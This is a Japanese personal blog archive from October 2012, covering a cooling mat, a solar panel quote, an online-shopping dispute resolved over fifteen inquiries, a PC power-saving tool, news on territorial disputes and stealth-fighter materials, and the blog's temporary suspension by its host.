４．電源＆冷蔵不要で環境にもお財布にもやさしい！。節電や熱中症対策にもおすすめ!。ジェルを超えたニュータイプ冷却マット。の説明に惹かれました。原理は、塩類の結晶温度が３０℃より高くなることでおこる、周囲から熱を奪って溶ける「吸熱反応」。結晶温度が３０℃より低くなると、吸収した熱で中材は固まり始め、熱移動して周囲に熱を放出します。ソルティクーラーは吸熱と放熱を繰り返し、ほぼ３０℃の一定温度を保持。このサイクルは劣化すること無く半永久的に持続するのだそうです。冷蔵不要 最近ではよく保冷剤に使用されていますが、ソルティクーラーは冷蔵不要。ベッドや布団に敷くだけで、ひんやりした心地良い冷たさを体感できるとかかれていました。他の夏用パッドやジェルマットと比較して、実験でも２~３℃低い常温をキープしているそうです。説明通りの効果があるといいのですが！。
2012年10月08日
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100万円で3,36kw太陽光発電！
ネットで太陽光発電の見積を出していたところ、業者さんが来られ、なんと3,36kwの太陽光発電設備が工事費込で１００万円ほどで出来そうな見積書が提出され、興味半分だったのが、これなら設置してもいい価格の藩中に入って来ました。我が家の屋根形状は切り妻、傾斜は南北、前に遮るものはない絶景の場所なので発電は抜群なのだそうです。提案書とともに、５社のしっかりした見積書が提示され、シャープ製の工場やアパート向けの太陽光発電3.42kwが１２６万円、ソーラーフロンティア製3.36kwが１２３万円で提示され、国と市の補助金合計が約１６万円あるので、１００万円少しで設置できることになります。後者の太陽電池モジュール保証年数が日本社製品では初の２０年保障も魅力です。提示された見積書にはパネル製造が外国製造で自社ブランドで発売しているものもあり、東南アジア・アメリカ・中国製造もありましたが、中国製造品は絶対に付けたくないので、その旨を伝え、当初予算が補助金を差し引いて１００万円までなら設置しても良いと伝え再見積をしてもらうことになりました。４年前にホンダ製パネルとオール電化で２００万円の見積りをもらったことがあり、それと比較しても随分と安くなったものです。さらに売電価格が４２円というのも魅力です。昨年別の業者さんに見積もってもらった時には太陽光発電設備だけで１７０万円が提示され、即辞退していました。ネットでいろいろ調べてみましたが、今のところ昭和シェル系の純国産パネルを製造しているソーラーフロンティアに少し惹かれています。ソーラーフロンティアを決めた理由 というブログを読んでさらに惹かれています。太陽光パネルは気温２５℃を境に暑くても寒くても発電出力が低下するそうなのですが、ソーラーフロンティア製は寒さや暑さに強く、朝日、夕日でも発電し、雲などで日陰になっても発電力が急激に減衰することなく、特に高温には威力を発揮するそうなのです。今までのパネルは結晶シリコンを使っていましたが、化合物系CIS（銅、インジウム、セレン）は非常に光吸収率が高い半導体で、シリコンン結晶系の太陽電池の100分の1の厚さでも、同等か、それ以上の光を吸収できるそうなのです。CIS薄膜太陽電池モジュールは、結晶シリコン系に比べて高温時の温度係数が優れているため、インドやアフリカの高気温国でも採用され、人工衛星の発電パネルにも使用され、ソフトバンクの大型太陽光発電設備にも採用されています。CIS太陽電池は、1年のうちのほとんどの期間、他の種類の太陽電池よりも発電量が多くなるという検証もあるようです。２０年保証のパネルですが、周辺機器の保証期間は１０年で、パワコンなど周辺機器は１０年後をめどにある程度のお金がいるようで、パワコンは定価約３５万円で６掛けほどで交換してもらえるようです。自然災害を対象とした保険もあり、シャープ製は１５年がついていて、他のメーカーに付ける場合は４万円の保険料金だそうです。まだ設置するのかしないのか？。どのメーカーにするのか？。決めてはいませんが、見積り次第では設置しようと思っています。今のところ売電価格４２円は来年３月までの設置で、売電価格４２円は１０年間継続するのだそうです。もし進展があれば随時ＵＰします。
2012年10月07日
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韓国・中国の失政・失策？
韓国が実効支配している竹島を海外メディアに取材させたことを、韓国野党は与党の失策と批判し、オーストラリア政府が日本の尖閣諸島国有化は不支持と伝えた中国メディア報道に、事実と違うとオーストラリア政府が反論しています。問題をすり替えようとして失政・失策しているようです。海外メディアの竹島取材協力 韓国野党、失策と批判 米ＣＮＮなど海外メディアが韓国政府の計らいで竹島（韓国名・独島）を現地取材し「日韓が領有権争いをしている場所だ」と伝えたことについて、韓国国会で５日、野党から「重大な失策だ。大々的に係争地だと広報してしまった」と政府を非難する声が上がった。金星煥外交通商相は反論できず、取材協力の経過を確認すると表明した。竹島を実効支配する韓国は最近まで国際社会が係争地と見なすことを嫌い、国際会議などで積極的な領有権主張はしない「静かな外交」を進めてきた。今回の取材協力は、李明博大統領の８月の竹島上陸後、日本が領有権主張を強めたことに対抗したもので、現地取材した欧米と香港の６社には事前に韓国政府の立場を説明したという。しかし各社は「係争地」と報道。野党議員は「外国メディアがわれわれの立場だけを伝えることなどあり得ないではないか」と嘆いた。「国有化不支持」は誤報 豪、中国報道に反論 日本政府による沖縄県・尖閣諸島（中国名・釣魚島）国有化について、オーストラリア政府は５日、同国の閣僚が「支持しない」との姿勢を中国当局幹部に示したと伝えた中国の通信社、中国新聞社の報道に「事実と違う」と反論した。実際の発言は「南シナ海や東シナ海における（関係各国による領有権の）主張には特定の立場を取らない」との政府の従来方針に沿った内容だったとした。報じられたのは、オーストラリアのバーク環境・水・人口相が９月下旬に中国を訪れ、中国国家海洋局の劉賜貴局長と会談した際の発言内容。
2012年10月06日
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続続編 ネットショッピング15回の問い合わせで解決！
ネットショッピング15回の問い合わせで解決！ の続続編です。長文ですが以下に問い合わせのＱ＆Ａを掲載しましたので、関心ある方は一読願います。ネットショッピングはトラブルと大変です。根気比べで今回は解決しました。Ｑ12：本体配達されました ありがとうございます SDHCカードが！ 本日、本体が配送されてきました。ありがとうございます。これで使えると喜んで、先行で送っていただいたオプションのSDHCカードにMP３を入れようとしましたが、エラーでコピーすることができません。フォーマットをかけようとしましたが、フォーマットもかかりません。何度試しても同じ状態で、結局使えない状態が継続しております。アドバイスをお願いします。Ａ：お世話様です。パソコンのOS問題かもしれませんが、フォーマットがかけないのはSDHCカードが壊れているということか？他のパソコンで試してみたらどうですか？Ｑ13：何度もメールですみません SDHCカードの件 SDHCカードの件２件の問合わせをしました。このカードは貴ショップよりオプションで購入したものです。１．他のSDHCカードは持ちあわせていません。２．パソコンのOS問題かもしれませんが、フォーマットがかけないのはSDHCカードが壊れているということか？他のパソコンで試してみたらどうですか？のご回答。違うＰＣでも試しましたが、同じ状態です。多分ご指摘の「SDHCカードが壊れている」だと思います。対応を心待ちしています。よろしくお願いします。Ａ：お客様には大変ご迷惑をおかけして申し訳ございません。パソコンのOSは何ですか？Ｑ14：回答ありがとうございますー再配送でお願いします Windows XP Service Pack3を使っています。いままで、カード類ではエラーが出たことがありません。今回は何故か、コピーも出来なければ、フォーマットも出来ません。書き込み禁止も解除しています。よろしく対応をお願いします。Ａ：SDHCカードの問題だたら、再配送してはいいですか？Ｑ15：回答ありがとうございますー再配送でお願いします micro SDHC カードの件、下記回答をいただきました。再配送でお願いできますでしょうか。よろしくお願いします。その場合、当方に送付されたmicro SDHC カードの件の取り扱いはどうしますか。Ａ：micro SDHC カードの交換品は９月２３日に再配送いたします。送料が高くつくので手元にある不良品はそちらで破棄してください
2012年10月05日
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続編 ネットショッピング15回の問い合わせで解決！
ネットショッピング15回の問い合わせで解決！ の続編です。長文ですが以下に問い合わせのＱ＆Ａを掲載しましたので、関心ある方は一読願います。ネットショッピングはトラブルと大変です。根気比べで今回は解決しました。Ｑ８：間違っていたから修正しました？ー理解できません 間違っていたから修正しました？。貴ショップがこんな対応していたらネットショッピングができません。本体とオプションのお金を払っているのですから、「オプションだけの注文です」は理解できません。しっかりした対応をして下さい。問い合わせ欄を見ると、しっかり対応しているケースもあるじゃないですか。よろしくおねがいします。Ａ：お客様には大変ご迷惑をおかけして申し訳ございません。この商品のオプションを設置する時にサイトのオプション機能を勘違いました。それでいろんな問題を生み出しました。その時若干のお客様の注文レストに「Model １(8414) - MP3 PLAYER+イヤホン＋アダプタ付セット / 8GB micro SDHC カード」と書いた方が現れました。その時はちゃんと不足品を再配送いたしましたが、今度お客様の注文レストには確かに「Model 2 (8057) - micro SDHC カード8GB(+100円) 」だけなので、対応しかねません。Ｑ９：間違いを認めたのなら、改ざんをしないで対応を 貴ショップより回答を得ました内容、「以前のオプションが実が間違いです。内の側で赤字になりました。いまから、正しくに修正してあります」。間違いを認めたのであれば、事前に何の連絡もなくサイトを改ざんするのではなく、ユーザーに対し、真摯な対応が必要と思います。当方とすれば、オプションの選択は 本体＋オプションです。※オプション記述内容 micro SDHC カード8GB(+100円)。よって、本体３３３円に１００円をプラスして支払いをしています。真摯な対応をお待ちします。Ａ：お客様には大変ご迷惑をおかけして申し訳ございません。前も言ったですが、この様な状況は対応しかねます。でもお客様はこんなに誠心誠意なら、うちは赤字になってもMP3 PLAYERを送りたいです。Ｑ10：ありがとうございます！対応に期待します 貴社の回答を読ませていただきました。「でもお客様はこんなに誠心誠意なら、うちは赤字になってもMP3 PLAYERを送りたいです」。真摯な対応を期待したいと思います。よろしくお願いします。Ａ：はい、わかりました。ではMP3 PLAYERを再配送します。MP3 PLAYERは何色にしますか？Ｑ11：対応有難う御座います 貴ショップの回答をいただきました。「はい、わかりました。ではMP3 PLAYERを再配送します。MP3 PLAYERは何色にしますか？」。真摯な対応有難う御座います。色については「ブルー」でお願いできますでしょうか。質問欄を拝読しますと、本体のエラーについても書かれているようなので、これ以上質問欄を使わなくて良い商品をお願いできますでしょうか。よろしくお願いします。Ａ：ブルー交換品は９月12日に再配送いたしました。今後はこのようなことが無いよう努力して参ります。商品の到着までもうしばらくお待ち下さいますようお願い申し上げます。またご注文を待ちしております。またもや文字オーバーエラーのため、続きは続々編に！
2012年10月05日
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ネットショッピング15回の問い合わせで解決！
以前ＵＰした MP3プレイヤー のネットショッピング購入トラブル、本体とオプションを購入したのにオプションだけしか届かなたったのですが、ネットで問い合わせること１５回目で解決しました。商品は９月１日までの期間限定商品価格で、現在は品切れになっています。購入当時はオプションで micro SDHC カード8GB がプラス１００円で購入できるようになっていました。【値上げ寸前！ラストチャンス！333円特売！9月1日まで】MP3 PLAYER+イヤホン＋アダプタ付でこの価格 / 8GB micro SDHC カード。 超特価:Model 2 (8057) - micro SDHC カード8GB(+100円)。ショップの間違っていたのでサイトを直したとの回答のあと、真摯な対応をお願いしたところ、本体と付属品が送られてきました。しかし、オプションの先行配送品のカードを試したところ、書き込みができず、最終的にはカードの代品が送られてきて、テストの結果やっとMP３プレイヤーを聞くことが出来解決しました。長文ですが以下に問い合わせのＱ＆Ａを掲載しましたので、関心ある方は一読願います。ネットショッピングはトラブルと大変です。根気比べで今回は解決しました。一変したのは、ショップが「間違いでした」と認めたことから始まりました。続きは文字オーバーになったので、続編に掲載しています。
2012年10月05日
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ＰＣ電力３割自動削減 ｅｏブログ４日ぶり再開
日本マイクロソフトが東日本大震災以降の節電のために、インストールするだけで、パソコンの消費電力を約３割も削減できる「Windows PC 自動節電プログラム」を発表の記事を見て、早速我が家のＰＣに導入しました。インストールするだけでパソコンの消費電力を3割削減---「Windows PC 自動節電プログラム」です。節電ソフトはマイクロソフトの 公式サイト から入手できます。東日本大震災以降、節電がそれまで以上に求められるようになっている。2011年の夏には、一部で計画停電が実施されるなど、極力電力を利用しないことが求められた。そんな中で注目したいフリーソフトが、インストールするだけで、パソコンの消費電力を約３割も削減できる「Windows PC 自動節電プログラム」。パソコンは東京電力が供給する地域だけで、約2455万台が動作していると推定される。すべてのパソコンが省電力設定なしで稼働したと仮定すると、その消費電力は約120万キロワット。これをOSの設定変更だけで約35万キロワットも削減できるのだ。このプログラムを提供するのは日本マイクロソフト。配布を開始したのは2011年5月10日。震災から2カ月で公開したことになる。同社では震災直後から、パソコンを省電力で動作させるためのプログラムの提供に向けて動き出していた。「できるだけ早くに出すことが重要だった」と語るのは、自動節電プログラムの舵取り役を担った日本マイクロソフトの小黒信介氏。コントロールパネルの設定を自動的に変更する では、自動節電プログラムの使い方を見ていこう。マイクロソフトの サイト からファイルをダウンロードして、インストールする。これだけで自動的にウィンドウズの設定が変更される。導入するだけで、省電力で動作するようになるのだから、インストールしない手はない。ただし注意点もある。メーカーが独自の省電力機能を導入しているパソコンにはインストールしないこと。メーカーがハードウエアと組み合わせて動作させている省電力機能は、より効率的だからだ。パソコンは起動時にハードディスクやCPUなどがフル稼働するため、電力消費が大きくなる。日本マイクロソフトのテストによると、作業を中断する時間が1時間45分以内なら、シャットダウンよりスリープを使ったほうが消費電力を削減できるという。自動節電プログラムを使うと、パソコンを15分利用していない場合、自動的にスリープ状態に入る。昼休みなどでも節電ができるというわけだ。 公開から1年が過ぎた自動節電プログラムのダウンロード数は累計で21万を超えている。USBメモリーなどに保存して複数台で利用できるので、実際に利用している台数はさらに多いだろう。Windows PC 自動節電プログラムについて 日本マイクロソフトは、Windows PC 自動節電プログラムを公開しました。これは、Windows 7、Windows Vista、Windows XP 用 です。Windows PC 自動節電プログラムは、無償で利用することができて、どなたでも簡単に節電設定を一括適用できます。この節電設定は、財団法人電力中央研究所の協力のもと、Windows PC 消費電力検証を実施して導き出されており、約 30 %の PC 消費電力削減効果が期待できます。【注】連続稼働を必要とされるコンピューターには、Windows PC 自動節電プログラムを適用しないよう注意してください。【ｅｏブログ４日ぶり再開】 oblogサポートセンターでございます。このたびは、ご対応いただきましてありがとうございます。お問合せいただきました件ですが、こちらでも修正を確認させていただきました。下記リンクの削除を確認できたため、本日、ブログの閲覧を再開させていただいております。なお、今後も「eoblogサービスの利用規約」に則り、対応が必要と判断した場合は、同様の対応をおこなってまいりますので、何卒ご了承ください。また、メールの文面や非公開範囲につきまして、ご意見をいただき誠にありがとうございます。この度いただいたご意見は、今後の運営の参考とさせていただきたいと存じます。このたびは、eoblogご利用におきましてお手数をおかけいたしました。
2012年10月04日
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中国ステルス用機材密輸ーアメリカが阻止
中国がステルス戦闘機を開発のニュースを読んだことがありますが、ステルスに欠かせないカーボンファイバー密輸を、アメリカのおとり捜査で阻止されたニュース 中国、ステルス機材調達にも困窮？ 軍事用カーボンファイバー密輸計画、米が阻止 が掲載されていました。「新しいステルス戦闘機の材料となる大量のカーボンファイバー」を米国から中国に密輸するという計画を、米国のおとり捜査官チームが阻止した。新しいステルス戦闘機を建造する材料とされる大量のカーボンファイバーを中国に密輸するという計画を、米国当局が阻止した。9月26日（米国時間）、航空宇宙グレードのカーボンファイバーを米国から中国へ不法に輸出しようとしたとして、中国人のMing Suan Zhang（40歳）が、ニューヨーク州東部地区の連邦裁判所に告訴された。法廷で今週明らかにされた刑事告訴状および宣誓供述書（PDFファイル）によって判明した。「New York Times」紙の記事によると、Zhang容疑者はスポーツ機器の製造者で、無実を主張している。しかし連邦検察は、Zhang容疑者は軍事グレードのカーボンファイバー400万ドル相当を違法に輸出する計画の首謀者だったと主張している。さらにZhang容疑者は、米国側のおとり捜査員に対し、カーボンファイバーは10月5日に実施される中国の新しいジェット戦闘機のテスト飛行のために必要な素材だと語ったという。有罪になった場合、Zhang容疑者は20年禁固されることになる。航空宇宙グレードのカーボンファイバーは、単なるプラスティックではない。原子力発電所でも使われる特殊な－－そして高価な－－高分子化合物であり、ステルス戦闘機「F-22 ラプター」など軍用機の胴体の建造にも用いられる。Zhang容疑者が入手しようとしたと検察が主張するカーボンファイバーM60JBの場合、400万ドルで約2トン分になる。と掲載されています。中国、ステルス戦闘機3機種開発中＝香港紙 中国航空工業は「殲20（J-20）」のほかに2機種目の第4世代ステルス戦闘機「雪鴞」を開発中で、年内にも初飛行を行う予定だ。さらに「ステルス飛鯊」と呼ばれる3機種目のステルス機も開発中で、香港紙によれば、この3機種のステルス機が中国空軍の3本柱になるという。香港の「明報」が月刊誌「鏡報」を引用して伝えた。詳しくはリンクサイトを見て下さい。日本の新幹線技術を中国の技術だとして特許申請したり、中国が開発有のステルスに使う材料をアメリカから密輸しようとしたり、日本固有の領土の尖閣諸島国有化を「日本が盗んだ」と国連で演説したり、世界第2位の国のすることではないと思うのですが！。
2012年10月03日
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続 言論統制？ブログの公開が停止されました
ｅｏブログサポートセンターより 昨日ブログにＵＰ内容の「eoブログより”ブログの公開が停止されました”とのメールが届きました。何事かと内容を読むと、「利用規約に違反」していると書かれているので、リンク先の利用規約を読みましたが、たくさん項目があり、「利用規約違反の個所をご改善のうえご連絡ください」の指示が、どの項目に違反しているのかわかりません。」 について回答が来ました。それに対する当方の回答とあわせてＵＰします。当方回答 【至急】eoblogサポートセンターさまご回答ありがとうございます。利用規約に抵触する 箇所がわかりましたので ！！！を使った伏字に改善しました。詳しい記事内容はリンク先で読んでいただけると思います。この記事を読んだ時に、中国当局はここまでするかと という思いから、人権問題の提起を含めてブログとしてＵＰしましたが、この改善で了解していただければと思います。今回のメールのように「不具合箇所の指摘」をしていただければより理解できると思います。最初の、突然に 「ブログの公開が停止されました」 のメールで、これまでのブログが読まれなくなったのは私として残念です。該当記事だけ「公開停止」にしていただけるとＵＰする方としても救われます。今後とも宜しくお願い申しあげます。当ブログでは毎日２００件近い訪問があるのに、今日はまだ１件だけです。早急に公開再開をお願いできるでしょうか。【eoblogサポートセンター】 ご連絡いただきまして誠にありがとうございます。お客様のブログですが、2012年9月30日の記事内容がeoblogサービスの利用規約に抵触すると判断させていただき、現在ブログへのアクセスを停止させていただいております。なお、このたびは以下の利用規約により対応とさせていただいております。ご確認いただければと存じます。第１６条（その他の禁止事項）。第１４条および第１５条の他、会員はｂｌｏｇサービス上で以下の行為を行わないものとします。(22)人の殺害現場などの残虐な情報を送信もしくは表示する行為。(28)上記各号のいずれかに該当する行為（当該行為を第三者が行っている場合を含みます。）が見られるデータなどへ当該行為を助長する目的でリンクを張る行為。また、この機会に「eoblogサービスの利用規約」をご一読ください。ブログの公開をご希望の場合には、お手数ですが、お客様ご自身でブログを編集していただき、再度ご連絡いただけますでしょうか。ご連絡をいただいた後、こちらで確認させていただきます。お手数ですが、何卒、よろしくお願いいたします。今後とも、eoblogをよろしくお願いいたします。
2012年10月02日
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言論統制？ブログの公開が停止されました
言論統制？。昨日ブログをＵＰした後、eoブログより「ブログの公開が停止されました」とのメールが届きました。何事かと内容を読むと、「利用規約に違反」していると書かれているので、リンク先の利用規約を読みましたが、たくさん項目があり、「利用規約違反の個所をご改善のうえご連絡ください」の指示が、どの項目に違反しているのかわかりません。私のブログを確認しに行くと「このブログへのアクセスは現在停止しています」と表示されていて、すべてのブログの内容が読めないようになっていました。昨日ＵＰしたのはこのブログにも昨日ＵＰした「中国土地強制接収に抵抗の村民ロードローラーで轢き殺す！」なのです。他のブログサイトからは指摘のメールはありません。私のブログ内容は、ガーデニングやショッピング・日曜大工等の日常身の回りに起きたことや、気になるニュースを私の感じたコメントを入れながら確かなサイトをリンクしてＵＰしています。それが今までＵＰした全部のブログが読めない状態にされているのです。何か中国の言論統制？に似ていると思ってしまいました。「どこを改善すればいいのか」確認のメールを入れましたが回答がないので、ｅｏのサービスにＴＥＬを入れました。eoblogサポートセンターとはメールだけの問い合わせで直接電話では話せないとのこと。eoblogトップページの「問い合わせ」からメールを入れて下さいと言われ、「なにを改善しないといけないのか」を問い合わせしました。【ブログの公開停止のメール】eoblog: ブログの公開が停止されました。○わやん○様平素はeoblogをご利用いただき、ありがとうございます。さて、以下のブログの全てのページの公開が停止されましたので、ご連絡いたします。・kawayan○公開の停止理由：eoblogサービス利用規約に違反eoblogサービス利用規約 http://blog.eonet.jp/service/kiyaku.html再開していただくには、サービス利用規約違反の個所をご改善のうえご連絡ください。掲載内容を再度確認させていただきます。本件につきまして、ご不明な点等ございましたら下記までご連絡ください。eoblogサポートセンターinfo@blog-support.eonet.jp
2012年10月01日
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